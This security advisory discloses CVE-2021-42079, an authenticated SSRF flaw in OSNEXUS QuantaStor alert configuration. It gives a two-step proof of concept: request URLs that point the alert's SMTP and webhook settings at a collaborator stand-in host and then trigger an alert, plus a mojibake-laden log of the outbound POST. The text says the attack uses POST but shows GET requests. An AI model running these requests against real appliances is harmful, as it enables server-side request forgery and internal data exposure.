SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
CVE-2021-42079
What is CVE-2021-42079?
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http:// HTTP/1.1
Host: Accept-Encoding: gzip, deflate
Accept: / Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1
Host: Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json
Content-Length: 1
The post request received by looks like this: { β
Python FLASK stuff
β'endpoint': 'index', β 'method': 'POST', β 'cookies': ImmutableMultiDict([]), β
END Python FLASK stuff
β 'data': b'{ ββ"attachments": [ βββ{
ββββ"fallback": "[122] test / test.",
ββββ"color": "#aa2222",
ββββ"title": "[122] test",
ββββ"text": "test",
ββββ"fields": [ Β βββββ{ Β Β
ββββββ"title": "Alert Severity", Β Β ββββββ"value": "CRITICAL", Β Β ββββββ"short": false Β βββββ}, Β { Β ββββββ"title": "Appliance", Β Β ββββββ"value": "quantastor (https://)", Β Β ββββββ"short": true Β
βββββ}, Β { Β Β
ββββββ"title": "System / Driver / Kernel Ver", Β Β
ββββββ"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", Β Β
ββββββ"short": false Β
βββββ}, Β { Β Β
ββββββ"title": "System Startup", Β Β
ββββββ"value": "Fri Aug Β 6 16-02-55 2021", Β Β
ββββββ"short": true Β
βββββ }, Β { Β Β
ββββββ"title": "SSID", Β Β
ββββββ"value": "f4823762-1dd1-1333-47a0-6238c474a7e7", Β Β
ββββββ"short": true Β
βββββ}, ββββ],
ββββ"footer": "QuantaStor Call-home Alert",
ββββ"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
ββββ"ts": 1628461774 βββ} ββ], ββ"mrkdwn":true β}', β#### FLASK REQUEST STUFF #####
β'headers': {
ββ'Host': '', ββ'User-Agent': 'curl/7.58.0', ββ'Accept': '/', ββ'Content-Type': 'application/json', ββ'Content-Length': '790'
β}, β'args': ImmutableMultiDict([]), β'form': ImmutableMultiDict([]), β'remote_addr': '217.103.63.173', β'path': '/payload/58', β'whois_ip': 'TNF-AS, NL' }
END FLASK REQUEST STUFF
Affected Version(s)
QuantaStor Windows 0 < 6.0.0.355
